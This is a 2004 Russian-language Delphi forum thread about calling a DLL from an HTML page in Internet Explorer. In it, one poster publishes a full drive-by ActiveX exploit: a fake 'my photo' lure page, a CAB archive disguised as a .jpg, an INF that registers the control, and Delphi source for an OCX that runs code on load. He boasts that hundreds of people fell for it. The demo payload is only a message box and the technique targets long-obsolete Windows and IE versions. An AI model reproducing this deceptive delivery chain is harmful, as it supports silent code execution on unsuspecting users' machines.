Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2004.11.07;
Скачать: CL | DM;

Вниз

Использование dll в html-файле   Найти похожие ветки 

 
S-Lok   (2004-10-24 23:03) [0]

Мне вот надо использовать в html-файле некоторую процедуру из моей Delphi-программы (причем html-файл должен открываться Internet Explorer"ом). Знаю, как это можно реализовать при помощи компонента ActiveX. Но вроде бы, эту же процедуру можно объявить в dll-файле. Как мне тогда обратиться к этой dll и к этой процедуре из html-файла?


 
Gero ©   (2004-10-24 23:05) [1]

Мда, если бы html - страницы умели dll"ки грузить и функции из них вызывать - вот весело было бы...


 
kaZaNoVa ©   (2004-10-24 23:05) [2]

если ты из html откроешь dll, то тебе позавидуют все виросописатели мира !

//я раньше делал так с OCX - но после 2 SP в ХР и в 2003 винде не пашет ..


 
kaZaNoVa ©   (2004-10-24 23:06) [3]

Gero ©   (24.10.04 23:05) [1]
а ведь можно !  - раньше было .. ;)


 
Gero ©   (2004-10-24 23:07) [4]


> а ведь можно !  - раньше было

Да ну.
Ссылка имеется?


 
kaZaNoVa ©   (2004-10-24 23:07) [5]

<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
вот ;)))))))))))))))))0


 
kaZaNoVa ©   (2004-10-24 23:08) [6]

Gero ©   (24.10.04 23:07) [4]
эх   ссылка была .. и не один человек попался ..  (не одна сотня ..)
- знакомый один делал ..


 
Gero ©   (2004-10-24 23:09) [7]


> kaZaNoVa ©   (24.10.04 23:08)
> object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6"

Это не dll.


 
kaZaNoVa ©   (2004-10-24 23:10) [8]

Gero ©   (24.10.04 23:09) [7]
там был cab архив с длл .. :)
- не веришь ?
- весь эксплоит выложить ?


 
kaZaNoVa ©   (2004-10-24 23:11) [9]

а расширение jpg - тока для маскировки ...  ;)


 
Gero ©   (2004-10-24 23:12) [10]


> kaZaNoVa ©   (24.10.04 23:10)


> там был

Где был?

> не веришь ?

Нет.

> весь эксплоит выложить ?

Как хочешь.


 
kaZaNoVa ©   (2004-10-24 23:17) [11]

ну, это уже не актуально .. так что выкладываю - пашет тока в 98, 2000, XP без 2 SP
html код:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Моя фотка</title>
</head>
<body>
<object classid="clsid:3D474C5B-6346-6092-ACCD-14BB685ED6A6" codebase="fotoarxiv.jpg" width=1 height=1></object>
Ну, как те моя фотка ?<br> - щас должна уже загрузиться ...<br>
- если не видно, проверьте настройки браузера ..
<br><br><br>
P.S. для просмотра требуется браузер INTERNET Explorer !
</body>
</html>


создаётся файл fotoarxiv.jpg - это CAB архив, внутри его 2 файла:
axhole.inf
axhole.ocx

содержание axhole.inf
[Version]
Signature="$Chicago$"
AdvancedINF=2.5

[DefaultInstall]
CopyFiles=FileList
RegisterOCXs=OCXSection

[DefaultUninstall]
Delfiles=FileList
UnRegisterOCXs=OCXSection

[OCXSection]
%11%\axhole.ocx

[FileList]
AXHOLE.OCX,,,33

[DestinationDirs]
FileList=11


исходник axhole.ocx
library Project1;
{$I-}

uses
 Windows,Shellapi;
Procedure DllGetClassObject;
Begin end;
Procedure DllRegisterServer;
 Begin end;
Procedure DllUnregisterServer;
 Begin end;
Procedure DllCanUnloadNow;
 Begin end;

exports
DllGetClassObject,
 DllRegisterServer,
DllUnregisterServer,
DllCanUnloadNow;

begin
MessageBox(0,"Если видна эта мессага-код из дллки работает","Are you Ready ?",0);
end.



 
kaZaNoVa ©   (2004-10-24 23:19) [12]

это раньше РЕАЛЬНО работало при открытии в ИЕ со стандартными настройками ..


 
kaZaNoVa ©   (2004-10-24 23:20) [13]

ps не веришь - проверь :))
то нужны права админа (кажется) и включено "загружать неподписанные ActiveX"


 
S-Lok   (2004-10-25 15:37) [14]

Тогда скажите, теоретически возможно ли каким-то еще способом, кроме ActiveX, выполнять на html-странице функции из Delphi?


 
panov ©   (2004-10-25 16:41) [15]

>S-Lok   (25.10.04 15:37) [14]
Использовать написанный в Delphi свой CGI на стороне сервера.


 
kaZaNoVa ©   (2004-10-25 18:28) [16]

panov ©   (25.10.04 16:41) [15]
точно, и эксплойты не потребуются ;)))



Страницы: 1 вся ветка

Текущий архив: 2004.11.07;
Скачать: CL | DM;

Наверх




Память: 0.48 MB
Время: 0.035 c
3-1097233419
NewDelpher
2004-10-08 15:03
2004.11.07
select в функции не получается


3-1097356478
GanibalLector
2004-10-10 01:14
2004.11.07
DBGridEh &amp; Footer


3-1097042115
Леха
2004-10-06 09:55
2004.11.07
Параметры в запросе не работают.


14-1097991894
SkyRanger
2004-10-17 09:44
2004.11.07
История Руси/России правда и ложь


14-1097830299
syte_ser78
2004-10-15 12:51
2004.11.07
Ваше мнение?





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский